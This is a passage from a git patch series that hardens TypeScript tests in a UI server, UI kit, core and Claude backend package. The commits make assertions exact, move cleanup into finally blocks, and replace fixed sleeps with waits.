dbPath, stdout: stdout.sink, stderr: stderr.sink }, - { - generateDigest: (opened) => generateActivityDigest(opened, now), - } - ); + try { + const exitCode = runDigest( + { dbPath, stdout: stdout.sink, stderr: stderr.sink }, + { + generateDigest: (opened) => generateActivityDigest(opened, now), + } + ); - expect(exitCode).toBe(0); - const db = createUiDb(dbPath); - expect(digestRetentionFloor(db)).toBe(now); - db.close(); - rmSync(directory, { recursive: true, force: true }); - expect(stdout.read()).toBe("[brain-digest] generated: 0 runs, 0 failures, $0.00\n"); - expect(stderr.read()).toBe(""); + expect(exitCode).toBe(0); + const db = createUiDb(dbPath); + try { expect(digestRetentionFloor(db)).toBe(now); } finally { db.close(); } + expect(stdout.read()).toBe("[brain-digest] generated: 0 runs, 0 failures, $0.00\n"); + expect(stderr.read()).toBe(""); + } finally { + rmSync(directory, { recursive: true, force: true }); + } }); test("an unsupported digest implementation fails loud", () => { diff --git a/packages/ui-server/tests/cron-scheduler.test.ts b/packages/ui-server/tests/cron-scheduler.test.ts index c34402bf0c..d60594e204 100644 --- a/packages/ui-server/tests/cron-scheduler.test.ts +++ b/packages/ui-server/tests/cron-scheduler.test.ts @@ -1,42 +1,21 @@ import { describe, test, expect, beforeEach, afterEach, spyOn } from "bun:test"; import { Database } from "bun:sqlite"; -import { existsSync, unlinkSync, readFileSync } from "fs"; +import { readFileSync } from "fs"; // Drive the real writer and status reader; fixture SQL only seeds history. import type { BrainClient } from "../src/brain/client"; import { recordCronRun, createCronScheduler } from "../src/cron/scheduler"; -const TEST_DB = `/tmp/brain-ui-cron-test-${process.pid}.db`; - describe("cron scheduler logic", () => { let db: Database; + // The shipped schema, not a hand-copied table, in memory: nothing on disk to collide or leak. beforeEach(() => { - if (existsSync(TEST_DB)) unlinkSync(TEST_DB); - db = new Database(TEST_DB, { create: true }); - db.exec("PRAGMA journal_mode = WAL"); - db.exec(` - CREATE TABLE cron_runs ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - job_name TEXT NOT NULL, - started_at INTEGER NOT NULL, - finished_at INTEGER, - status TEXT NOT NULL CHECK (status IN ('running', 'success', 'error')), - error_message TEXT, - duration_ms INTEGER - ) - `); - db.exec( - "CREATE INDEX idx_cron_runs_job ON cron_runs(job_name, started_at DESC)" - ); + db = new Database(":memory:"); + db.exec(readFileSync(new URL("../migrations/001_initial.sql", import.meta.url), "utf8")); }); - afterEach(() => { - db.close(); - for (const suffix of ["", "-shm", "-wal"]) { - if (existsSync(TEST_DB + suffix)) unlinkSync(TEST_DB + suffix); - } - }); + afterEach(() => db.close()); test("getCronStatus returns latest run per job", () => { // Insert multiple runs for the same job From b429a282f3f5f438136f04fffaa4ed67cb5e8b41 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:44:36 +0100 Subject: [PATCH 094/252] test(ui-server): assert masked record reads refuse with the provider-mask error Test-Health: th-20261110163814-571eb3#44 --- packages/ui-server/tests/bridge-capabilities.test.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/bridge-capabilities.test.ts b/packages/ui-server/tests/bridge-capabilities.test.ts index 606762205b..ba5fb268a3 100644 --- a/packages/ui-server/tests/bridge-capabilities.test.ts +++ b/packages/ui-server/tests/bridge-capabilities.test.ts @@ -18,6 +18,7 @@ import { applyIndexReads, applyLiveAuthority, settleTurnIndex } from "../src/ws/ import { createBridgeContext, type BridgeContext, type MakeBridgeOptions } from "../src/ws/bridge-capabilities/context.js"; import { createEmission, createTurnTranscript } from "../src/ws/bridge-capabilities/emission.js"; import { createActivity, guardMaskedRecords, openInbox } from "../src/ws/bridge-capabilities/activity.js"; +import { ProviderRecordsRefusedError } from "../src/brain/provider-mask-refusal.js"; import { createPermissions } from "../src/ws/bridge-capabilities/permissions.js"; import { createAsks } from "../src/ws/bridge-capabilities/asks.js"; import { createLocationAndMask, createMaskApplicationSlice } from "../src/ws/bridge-capabilities/location-mask.js"; @@ -196,8 +197,8 @@ test("activity/inbox: the inbox opens with the turn's membership; masked records expect(await bridge.inboxList!({} as never), "UNMASKED_TURN_KEEPS_ITS_RECORDS").toEqual([] as never); const guard = { folders: ["me"], assert() {} }; guardMaskedRecords({ ...f.ctx, maskGuard: guard }, bridge); - await expect(bridge.inboxList!({} as never)).rejects.toThrow(); - await expect(bridge.queryActivity!({} as never)).rejects.toThrow(); + await expect(bridge.inboxList!({} as never)).rejects.toBeInstanceOf(ProviderRecordsRefusedError); + await expect(bridge.queryActivity!({} as never)).rejects.toBeInstanceOf(ProviderRecordsRefusedError); } finally { f.cleanup(); } }); From 3684b349c3ae0533b4ffd5a0d399fb490d3730d6 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:44:40 +0100 Subject: [PATCH 095/252] test(ui-server): print recorded request ids when an evicted conversation result reappears Test-Health: th-20261110163814-571eb3#45 --- packages/ui-server/tests/conversation-storage.test.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/packages/ui-server/tests/conversation-storage.test.ts b/packages/ui-server/tests/conversation-storage.test.ts index 2f05ded6ff..000bf95380 100644 --- a/packages/ui-server/tests/conversation-storage.test.ts +++ b/packages/ui-server/tests/conversation-storage.test.ts @@ -42,7 +42,7 @@ test("receipt eviction preserves native and request tombstones", async () => { const recovered = await catalog.loadConversation!("ithaca", "odysseus"); expect(recovered?.requestIds).toHaveLength(66); expect(recovered?.receipts).toHaveLength(64); - expect(recovered?.receipts.some(r => r.requestId === "request-0")).toBe(false); + expect(recovered?.receipts.map(r => r.requestId)).not.toContain("request-0"); await expect(catalog.saveConversationTask!("odysseus", { ...task(100), nativeHandle: "native-0" })).rejects.toThrow("already consumed"); } finally { db.close(); } }); @@ -95,10 +95,10 @@ test("durable result bounds evict oldest admissions without deleting identity to // A late delivery update cannot restore evicted old facts or reorder them. await catalog.saveConversationTask!("odysseus", { ...task(0), state: "completed", delivery: "returned", turnId: "turn-0" }, "Evicted facts."); recovered = await catalog.loadConversation!("ithaca", "odysseus"); - expect(recovered?.results.some(r => r.requestId === "request-0")).toBe(false); + expect(recovered?.results.map(r => r.requestId)).not.toContain("request-0"); expect(recovered?.requestIds).toHaveLength(6); await catalog.saveConversationTask!("odysseus", { ...task(8), state: "error", delivery: "discarded", turnId: "turn-8", reason: "Could not read." }, "Partial output must not imply success."); - expect((await catalog.loadConversation!("ithaca", "odysseus"))?.results.some(r => r.requestId === "request-8")).toBe(false); + expect((await catalog.loadConversation!("ithaca", "odysseus"))?.results.map(r => r.requestId)).not.toContain("request-8"); } finally { db.close(); } }); From 3460d4cfb1c110e127abba9baedb8aa75c4e61ce Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:44:51 +0100 Subject: [PATCH 096/252] test(ui-server): pin the text decoded below the control-character threshold Test-Health: th-20261110163814-571eb3#48 --- packages/ui-server/tests/attachment-detect.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/attachment-detect.test.ts b/packages/ui-server/tests/attachment-detect.test.ts index 466119f321..ccbeb62e9f 100644 --- a/packages/ui-server/tests/attachment-detect.test.ts +++ b/packages/ui-server/tests/attachment-detect.test.ts @@ -31,7 +31,7 @@ test("text is decided by strict UTF-8, whatever the MIME claims", () => { expect(detectKind(bytes("a\u0000b"), at("blob.bin"))).toMatchObject({ kind: "binary", reader: "none" }); expect(detectKind(new Uint8Array([0xc3, 0x28, 0x41]), at("sirens.m4a", "audio/mp4"))).toMatchObject({ kind: "binary", reader: "none" }); expect(decodeText(bytes("\u0001".repeat(3) + "x".repeat(97)))).toBeNull(); - expect(decodeText(bytes("\u0001" + "x".repeat(199)))).not.toBeNull(); + expect(decodeText(bytes("\u0001" + "x".repeat(199)))).toBe("\u0001" + "x".repeat(199)); }); test("valid tracks keep the shared parser's evidence; a failed parse never forges one", () => { From 768cef3b9cc398771152f05fd5f2f2a081cca147 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:44:58 +0100 Subject: [PATCH 097/252] test(ui-server): drop a core-queries manifest check that compared a value with itself Test-Health: th-20261110163814-571eb3#50 --- packages/ui-server/tests/core-queries.test.ts | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/packages/ui-server/tests/core-queries.test.ts b/packages/ui-server/tests/core-queries.test.ts index 523969bac3..7823be47f0 100644 --- a/packages/ui-server/tests/core-queries.test.ts +++ b/packages/ui-server/tests/core-queries.test.ts @@ -1,6 +1,6 @@ import { afterEach, describe, expect, test } from "bun:test"; import { createRequire } from "module"; -import { dirname, join } from "path"; +import { join } from "path"; import { createRecordingObservability } from "../src/observability"; import { CORE_QUERIES_RANGE, @@ -10,7 +10,6 @@ import { } from "../src/core-queries"; const real = createRequire(import.meta.url); -const realManifestPath = real.resolve("@schlessera/brain/package.json"); const realEntry = real("@schlessera/brain/queries") as Record; interface Staged { @@ -67,8 +66,6 @@ describe("core query capability resolution", () => { // The functions are core's own, not wrappers or copies. expect(graph.queries.readGraphMeta).toBe(realEntry.readGraphMeta as never); expect(voice.queries.readVoiceVocabulary).toBe(realEntry.readVoiceVocabulary as never); - // ...from the installation whose manifest names the package. - expect(dirname(realManifestPath)).toBe(dirname(real.resolve("@schlessera/brain/package.json"))); }); test("a usable staged installation exposes exactly its validated functions", () => { From 11b23450ad30122797519db1289955652e46d694 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:45:44 +0100 Subject: [PATCH 098/252] test(ui-backend-claude): require the named refusal when the CLI reports no settings Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110180830-ff27e0#24 --- packages/ui-backend-claude/tests/subscription.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-backend-claude/tests/subscription.test.ts b/packages/ui-backend-claude/tests/subscription.test.ts index 84fa0a2175..bfaef7d778 100644 --- a/packages/ui-backend-claude/tests/subscription.test.ts +++ b/packages/ui-backend-claude/tests/subscription.test.ts @@ -99,6 +99,6 @@ describe("settingsRefusal", () => { }); test("no report is refused, not trusted", () => { - expect(settingsRefusal(undefined)).not.toBeNull(); + expect(settingsRefusal(undefined)).toBe("the CLI did not report its settings"); }); }); From b29aa154f468b5e19088cfc8aa2e14d3925e53aa Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:47:11 +0100 Subject: [PATCH 099/252] test(ui-backend-claude): require a cancelled result when cancellation outranks a full worker state Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110180830-ff27e0#31 --- packages/ui-backend-claude/tests/worker-exhaustion.test.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/packages/ui-backend-claude/tests/worker-exhaustion.test.ts b/packages/ui-backend-claude/tests/worker-exhaustion.test.ts index c0534f3ac3..5d3ba7960e 100644 --- a/packages/ui-backend-claude/tests/worker-exhaustion.test.ts +++ b/packages/ui-backend-claude/tests/worker-exhaustion.test.ts @@ -61,6 +61,7 @@ test("a host cancellation outranks a full state found after the result", async ( const results = await run(`head -c ${8 * MiB} /dev/zero > "$CLAUDE_CONFIG_DIR/full" 2>/dev/null; sleep 0.3; exit 0`, true); expect(results).toHaveLength(1); expect(results[0]).not.toHaveProperty("failure.errorClass", "worker_state_exceeded"); + expect(results[0]).toMatchObject({ outcome: "cancelled", isError: false, usage: { inputTokens: 17, outputTokens: 9 } }); }, 30_000); test("a write failure the worker reported stays on record however much it prints afterwards", async () => { From 419efb7e03a91289b27eeb5899efe5c99a8717ed Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:48:20 +0100 Subject: [PATCH 100/252] test(ui-kit): palette reasons and no-wrap scrolling run one theme per width Test-Health: th-20261110180640-b26dac#11 --- packages/ui-kit/tests/visual/nowrap-scroll.visual.tsx | 8 ++++++-- packages/ui-kit/tests/visual/palette-reasons.visual.tsx | 5 +++++ 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/packages/ui-kit/tests/visual/nowrap-scroll.visual.tsx b/packages/ui-kit/tests/visual/nowrap-scroll.visual.tsx index 6ae851e974..996065695f 100644 --- a/packages/ui-kit/tests/visual/nowrap-scroll.visual.tsx +++ b/packages/ui-kit/tests/visual/nowrap-scroll.visual.tsx @@ -23,7 +23,11 @@ function tailBounds(el: HTMLElement) { const node = el.firstChild!; const r = document.createRange(); const length = node.textContent!.length; r.setStart(node, length - 16); r.setEnd(node, length); return r.getBoundingClientRect(); } +// Storybook owns light and dark parity (docs/process/theme-parity.md); scrolling +// and reach never read a colour, so each width runs in one theme, alternating. +const widthTheme = (width: number) => ([320, 720].includes(width) ? "dark" : "light"); for (const theme of ["dark", "light"]) for (const width of [320,390,720,1280]) { + if (widthTheme(width) !== theme) continue; test(`code keyboard reaches final argument ${theme} ${width}`, async () => { mount(width, theme, ); const pre = host!.querySelector("pre")!; @@ -62,7 +66,7 @@ for (const theme of ["dark", "light"]) for (const width of [320,390,720,1280]) { } // Native touch panning is checked independently of keyboard/focus scrolling. -for (const theme of ["dark", "light"]) for (const kind of ["code", "chips"]) { +for (const [theme, kind] of [["dark", "code"], ["light", "chips"]]) { test(`native touch pan reveals hidden ${kind} ${theme}`, async () => { mount(320, theme, kind === "code" ? : ({label:`Ithaca crossing ${i}: ${"voyage ".repeat(10)}`}))} />); const scroll = kind === "code" ? host!.querySelector("pre")! : host!.firstElementChild!.lastElementChild as HTMLElement; @@ -75,7 +79,7 @@ for (const theme of ["dark", "light"]) for (const kind of ["code", "chips"]) { }); } -for (const theme of ["dark", "light"]) { +for (const theme of ["light"]) { test(`no-wrap printed cost and disabled reason fit the chip ${theme}`, async () => { const click = vi.fn(); mount(320, theme, [...row.querySelectorAll("span")].find((s) => s.textContent === text); +/** Storybook owns light and dark parity (docs/process/theme-parity.md); row + * geometry never reads a colour, so each width runs in one theme, alternating. */ +const widthTheme = (width: number) => ([768, 1280].includes(width) ? "dark" : "light"); for (const theme of ["dark", "light"] as const) { for (const width of [768, 1024, 1280, 1440]) { + if (widthTheme(width) !== theme) continue; test(`a reason that fits stays beside the label, one that does not drops under it: ${theme}, ${width}`, async () => { pointerScene(); const { dialog, rows } = await mount(width, theme); @@ -133,6 +137,7 @@ for (const theme of ["dark", "light"] as const) { * the 34px density, 35.7px with a chip (#1120). */ for (const theme of ["dark", "light"] as const) { for (const width of [768, 1024, 1280, 1440]) { + if (widthTheme(width) !== theme) continue; test(`every row is a 44px target under a coarse pointer, and keeps its density under a fine one: ${theme}, ${width}`, async () => { const mode = pointerScene(); const { rows } = await mount(width, theme); From 018873e8c94051dc53d03dac4c0aa5275a34a3d4 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:50:23 +0100 Subject: [PATCH 101/252] test(core): remove the compute stand-in global even when the case fails Test-Health: th-20261110163736-83b662#17 --- packages/core/tests/compute-config.test.ts | 26 +++++++++++++--------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/packages/core/tests/compute-config.test.ts b/packages/core/tests/compute-config.test.ts index b66dc9807e..ac8402d584 100644 --- a/packages/core/tests/compute-config.test.ts +++ b/packages/core/tests/compute-config.test.ts @@ -121,17 +121,21 @@ describe("resolving compute instances", () => { box = sandbox(); const memory = memoryCompute(); (globalThis as { __ogygiaProvider?: unknown }).__ogygiaProvider = memory.provider; - const module = join(box.base, "brain-compute-ogygia.ts"); - writeFileSync(module, "export const computeProvider = (globalThis as any).__ogygiaProvider;\nexport const defaultKeyEnv = \"OGYGIA_API_KEY\";\n"); - const registry: Record = { - ogygia: { load: () => loadComputePackage(module) }, - absent: { load: () => loadComputePackage(join(box!.base, "no-such-package.ts")) }, - }; - const loaded = await resolveComputeInstance("o", { provider: "ogygia", lease: { maxSeconds: 60 } }, { env: { OGYGIA_API_KEY: "k" }, registry }); - expect(loaded.ok && [loaded.instance.provider === memory.provider, loaded.instance.keyEnv, loaded.instance.secret]).toEqual([true, "OGYGIA_API_KEY", "k"]); - const absent = await resolveComputeInstance("a", { provider: "absent", lease: { maxSeconds: 60 } }, { env: {}, registry }); - expect(absent.ok ? "resolved" : absent.code).toBe("provider_unavailable"); - delete (globalThis as { __ogygiaProvider?: unknown }).__ogygiaProvider; + try { + const module = join(box.base, "brain-compute-ogygia.ts"); + writeFileSync(module, "export const computeProvider = (globalThis as any).__ogygiaProvider;\nexport const defaultKeyEnv = \"OGYGIA_API_KEY\";\n"); + const registry: Record = { + ogygia: { load: () => loadComputePackage(module) }, + absent: { load: () => loadComputePackage(join(box!.base, "no-such-package.ts")) }, + }; + const loaded = await resolveComputeInstance("o", { provider: "ogygia", lease: { maxSeconds: 60 } }, { env: { OGYGIA_API_KEY: "k" }, registry }); + expect(loaded.ok && [loaded.instance.provider === memory.provider, loaded.instance.keyEnv, loaded.instance.secret]).toEqual([true, "OGYGIA_API_KEY", "k"]); + const absent = await resolveComputeInstance("a", { provider: "absent", lease: { maxSeconds: 60 } }, { env: {}, registry }); + expect(absent.ok ? "resolved" : absent.code).toBe("provider_unavailable"); + } finally { + // Removed even when an assertion fails, so no later file sees the stand-in. + delete (globalThis as { __ogygiaProvider?: unknown }).__ogygiaProvider; + } }); test("an unknown built-in is provider_unknown and invalid options are provider_unavailable", async () => { From dc0c39322e9b8eb29b88e376416e517b500d1380 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:52:05 +0100 Subject: [PATCH 102/252] test(core): compute driver and identity checks print what they reject Test-Health: th-20261110163736-83b662#18 --- packages/core/tests/compute-identity.test.ts | 2 +- packages/core/tests/compute-ops.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/core/tests/compute-identity.test.ts b/packages/core/tests/compute-identity.test.ts index 27b66bfa19..69544c4bd9 100644 --- a/packages/core/tests/compute-identity.test.ts +++ b/packages/core/tests/compute-identity.test.ts @@ -58,7 +58,7 @@ test("a raw sandbox or command id is not a job id", async () => { const result = await svc.status(PENELOPE, id); expect(result.ok ? "found" : result.code).toBe("job_unknown"); } - expect(JSON.stringify(run.job).includes(sbx)).toBe(false); + expect(JSON.stringify(run.job)).not.toContain(sbx); }); test("a job of another brain sharing the state directory is unknown here", async () => { diff --git a/packages/core/tests/compute-ops.test.ts b/packages/core/tests/compute-ops.test.ts index 6cf1814582..65b4eed9ac 100644 --- a/packages/core/tests/compute-ops.test.ts +++ b/packages/core/tests/compute-ops.test.ts @@ -281,7 +281,7 @@ describe("the background driver", () => { // there is no event for "no timer". await Bun.sleep(40); expect(memory.calls.length).toBe(calls); - expect(memory.calls.some((c) => c.method === "kill" || c.method === "release")).toBe(false); + expect(memory.calls.filter((c) => c.method === "kill" || c.method === "release").map((c) => c.method)).toEqual([]); driver.track(run.job.id); expect(driver.tracked()).toEqual([]); }); From 2563c03cbef0bc95cf0f7d49a602b80ff41d1b45 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:52:35 +0100 Subject: [PATCH 103/252] test(ui-backend-claude): require every worker RTK mode before asserting each one Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110180830-ff27e0#33 --- packages/ui-backend-claude/tests/worker-rtk.test.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/packages/ui-backend-claude/tests/worker-rtk.test.ts b/packages/ui-backend-claude/tests/worker-rtk.test.ts index 0f73e5c31b..6120ca076d 100644 --- a/packages/ui-backend-claude/tests/worker-rtk.test.ts +++ b/packages/ui-backend-claude/tests/worker-rtk.test.ts @@ -94,6 +94,7 @@ console.log(JSON.stringify(results)); hostExecuted: boolean; granted?: string; }> = JSON.parse(stdout.trim()); + expect(results.map(result => result.mode), "EVERY_RTK_MODE_REPORTED").toEqual(["host-only", "visible", "host-only-after-visible", "repo-first", "host-home", "unknown"]); for (const result of results) { expect(result.code, `${result.mode}: ${result.errors}`).toBe(0); expect(result.output).toContain("Odysseus sails"); From 2764f606b92c7e60f8c7d29b0ddb44c3f4421a95 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:53:45 +0100 Subject: [PATCH 104/252] test(ui-server): pin storage pressure's recovery start and episode identity Test-Health: th-20261110174252-07efe9#1 Co-Authored-By: Claude Opus 5.5 --- packages/ui-server/tests/storage-pressure.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/storage-pressure.test.ts b/packages/ui-server/tests/storage-pressure.test.ts index 1b419cec44..8ead494fc6 100644 --- a/packages/ui-server/tests/storage-pressure.test.ts +++ b/packages/ui-server/tests/storage-pressure.test.ts @@ -13,7 +13,7 @@ test("capacity exact entry/recovery boundaries require two additional observatio value = observePressure(value, evidence(at, 10_001), at); expect(value.severity).toBe("observed"); value = observePressure(value, evidence(at + 1, 10_000), at + 1); expect(value.severity).toBe("low"); value = observePressure(value, evidence(at + 2, 5000), at + 2); expect(value.severity).toBe("critical"); - const episode = value.episode; expect(episode).toBeTruthy(); + const episode = value.episode; expect(episode, "STORAGE_CRITICAL_ENTRY_OPENS_EPISODE").toMatch(/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/); value = observePressure(value, evidence(at + 60_002, 7000), at + 60_002); expect(value.recoveryAt).toBeNull(); value = observePressure(value, evidence(at + 120_002, 7001), at + 120_002); expect(value.severity).toBe("critical"); value = observePressure(value, evidence(at + 180_001, 7001), at + 180_001); expect(value.severity, "STORAGE_RECOVERY_REQUIRES_SIXTY_SECONDS").toBe("critical"); @@ -40,7 +40,7 @@ test("every active cause must recover; stale, reversal, failed and incompatible let value = observePressure(newPressure(identity, rootScope), evidence(at, 5000, finite(7), finite(7)), at); value = observePressure(value, evidence(at + 60_000, 13000), at + 60_000); expect(value.recoveryAt).toBeNull(); const good = (time: number) => evidence(time, 13000, nondepleting, nondepleting); - value = observePressure(value, good(at + 120_000), at + 120_000); expect(value.recoveryAt).not.toBeNull(); + value = observePressure(value, good(at + 120_000), at + 120_000); expect(value.recoveryAt, "STORAGE_RECOVERY_PAIR_STARTS_AT_FIRST_GOOD_OBSERVATION").toBe(at + 120_000); value = observePressure(value, null, at + 130_000); expect(value.recoveryAt).toBeNull(); value = observePressure(value, good(at + 180_000), at + 180_000); expect(value.severity).toBe("critical"); value = observePressure(value, good(at + 170_000), at + 180_000); expect(value.recoveryAt).toBeNull(); From 39a7127935d024222d6c75c27f819229bc98c425 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:54:00 +0100 Subject: [PATCH 105/252] test(ui-server): storage removal review assertions cannot pass on an empty selection Test-Health: th-20261110174252-07efe9#2 Co-Authored-By: Claude Opus 5.5 --- packages/ui-server/tests/storage-removal.test.ts | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/storage-removal.test.ts b/packages/ui-server/tests/storage-removal.test.ts index 97ced25ea4..7d061ec3c6 100644 --- a/packages/ui-server/tests/storage-removal.test.ts +++ b/packages/ui-server/tests/storage-removal.test.ts @@ -21,7 +21,9 @@ test("exact removal retains original bytes, keeps references and history facts s expect(existsSync(join(f.brain,"attachments/chart.pdf"))).toBe(false); expect(readFileSync(join(f.brain,"voyage.md"),"utf8")).toContain("attachments/chart.pdf"); expect(result.after?.attribution).toBe("concurrent-writers-possible"); - expect(f.calls.filter(call=>call.purpose==="storage-removal-review").every(call=>call.publish===false && call.credentials===false)).toBe(true); + const reviews=f.calls.filter(call=>call.purpose==="storage-removal-review"); + expect(reviews.length,"STORAGE_REMOVAL_REVIEW_RAN_THROUGH_BOUNDARY").toBeGreaterThan(0); + expect(reviews.map(call=>({publish:call.publish,credentials:call.credentials})),"STORAGE_REMOVAL_REVIEW_UNPUBLISHED_UNCREDENTIALED").toEqual(reviews.map(()=>({publish:false,credentials:false}))); const db = createUiDb(f.dbPath), journal = createTurnJournal(db, {brainPath:f.brain,dbPath:f.dbPath,objectsRoot:join(f.root,"objects"),nativeManager:f.native.manager}), reopened = createStorageRemoval(db, {...f.options,journal,gate:createWriterGate(db,f.brain,{pollMs:1})}); try { expect((await reopened.start("odysseus", id, review.review.fingerprint)).state, "STORAGE_REMOVAL_NO_REPLAY").toBe("complete"); @@ -64,7 +66,7 @@ test("ignored, protected, linked, executable and uncovered attachments never bec writeFileSync(join(f.brain,"attachments/exec.pdf"),"executable"); chmodSync(join(f.brain,"attachments/exec.pdf"),0o700); f.options.protectedPaths.push("attachments/private.pdf"); writeFileSync(join(f.brain,"attachments/private.pdf"),"protected"); const review = await f.removal.review("odysseus","odysseus-protected-1",["attachments/chart.pdf","attachments/score.pdf","attachments/link.pdf","attachments/exec.pdf","attachments/private.pdf"]); - expect(review.review.files.every(file=>!file.eligible), "STORAGE_REMOVAL_PROTECTED_SELECTION").toBe(true); + expect(review.review.files.map(file=>[file.path,file.eligible]).sort(), "STORAGE_REMOVAL_PROTECTED_SELECTION").toEqual([["attachments/chart.pdf",false],["attachments/exec.pdf",false],["attachments/link.pdf",false],["attachments/private.pdf",false],["attachments/score.pdf",false]]); await expectRejection(f.removal.start("odysseus",review.review.id,review.review.fingerprint), "Refresh"); expect(readFileSync(join(f.brain,"attachments/chart.pdf"))).toEqual(f.original); } finally { await f.close(); } From 81a4f5b0f78b2c448a5914082ce5b50c78c20345 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:54:06 +0100 Subject: [PATCH 106/252] test(ui-server): the sync result parser's positive control pins the parsed result Test-Health: th-20261110174252-07efe9#8 Co-Authored-By: Claude Opus 5.5 --- packages/ui-server/tests/sync-runtime.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/sync-runtime.test.ts b/packages/ui-server/tests/sync-runtime.test.ts index d3f03afb12..bfc9649db2 100644 --- a/packages/ui-server/tests/sync-runtime.test.ts +++ b/packages/ui-server/tests/sync-runtime.test.ts @@ -152,7 +152,7 @@ describe("BrainClient.sync reads the result", () => { { agent: base.agent }, ]; for (const v of variants) expect(parseSyncResult(JSON.stringify(v))).toBeNull(); - expect(parseSyncResult(INVOKED_KNOWN)).not.toBeNull(); + expect(parseSyncResult(INVOKED_KNOWN), "SYNC_RESULT_KNOWN_SHAPE_PARSED_EXACTLY").toEqual(base); }); }); From 2b4df016b4bf2809370fc13a044067d8b004fe3f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:54:12 +0100 Subject: [PATCH 107/252] test(ui-server): wait for the effort parse error instead of a fixed sleep Test-Health: th-20261110174252-07efe9#38 Co-Authored-By: Claude Opus 5.5 --- packages/ui-server/tests/ws-effort.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/ws-effort.test.ts b/packages/ui-server/tests/ws-effort.test.ts index 0f271c7e90..6403475dfb 100644 --- a/packages/ui-server/tests/ws-effort.test.ts +++ b/packages/ui-server/tests/ws-effort.test.ts @@ -65,7 +65,7 @@ test("invalid effort is rejected on the socket before backend execution; a valid const ws = { send: (raw: string) => frames.push(JSON.parse(raw)) }; const handlers = createWsHandlers(testHost(), testPrincipal()); handlers.onMessage({ data: JSON.stringify({ type: "chat_message", text: "invalid", thinkingLevel: "enormous" }) } as MessageEvent, ws); - await Bun.sleep(10); + await until(() => frames.some((frame) => frame.type === "error")); expect(frames.find((frame) => frame.type === "error")).toMatchObject({ code: "PARSE_ERROR" }); expect(calls).toHaveLength(0); handlers.onMessage({ data: JSON.stringify({ type: "chat_message", text: "valid", thinkingLevel: "medium" }) } as MessageEvent, ws); From 058e8dee6b354b738ed99c3704ee0fddfad3ee1d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:54:18 +0100 Subject: [PATCH 108/252] test(ui-server): wait for the expired tool resolution instead of a settle Test-Health: th-20261110174252-07efe9#46 Co-Authored-By: Claude Opus 5.5 --- packages/ui-server/tests/ws-tool-resolution.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/ws-tool-resolution.test.ts b/packages/ui-server/tests/ws-tool-resolution.test.ts index 6661cac038..89cc8c8053 100644 --- a/packages/ui-server/tests/ws-tool-resolution.test.ts +++ b/packages/ui-server/tests/ws-tool-resolution.test.ts @@ -110,7 +110,7 @@ describe("tool_resolution", () => { const turnId = await s.raise(client); client.send({ type: "cancel", sessionId: "sess-loom" }); await until(() => s.host.coordinator.pendingApprovals.size === 0); - await settle(); + await until(() => client.frames("tool_resolution").length > 0); expect(client.frames("tool_resolution")[0]).toEqual({ type: "tool_resolution", toolUseId: "tool-loom", outcome: "expired", sessionId: "sess-loom", turnId, reason: "Cancelled by user", }); From 5df47f8516614b8c2c4595d0882299b5bf0e424a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:55:45 +0100 Subject: [PATCH 109/252] test(core): isolate the cache-merge fixture commits from env-scoped signing Refs #3485. Test-Health: th-20261110163736-83b662#19 --- packages/core/tests/cache-merge.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/packages/core/tests/cache-merge.test.ts b/packages/core/tests/cache-merge.test.ts index a5b32797cb..f10363abde 100644 --- a/packages/core/tests/cache-merge.test.ts +++ b/packages/core/tests/cache-merge.test.ts @@ -21,7 +21,9 @@ afterEach(() => { }); function git(cwd: string, ...args: string[]): { code: number; out: string } { - const r = Bun.spawnSync(["git", "-C", cwd, ...args], { stdout: "pipe", stderr: "pipe" }); + // Signing is off per command (#3485): an environment-scoped 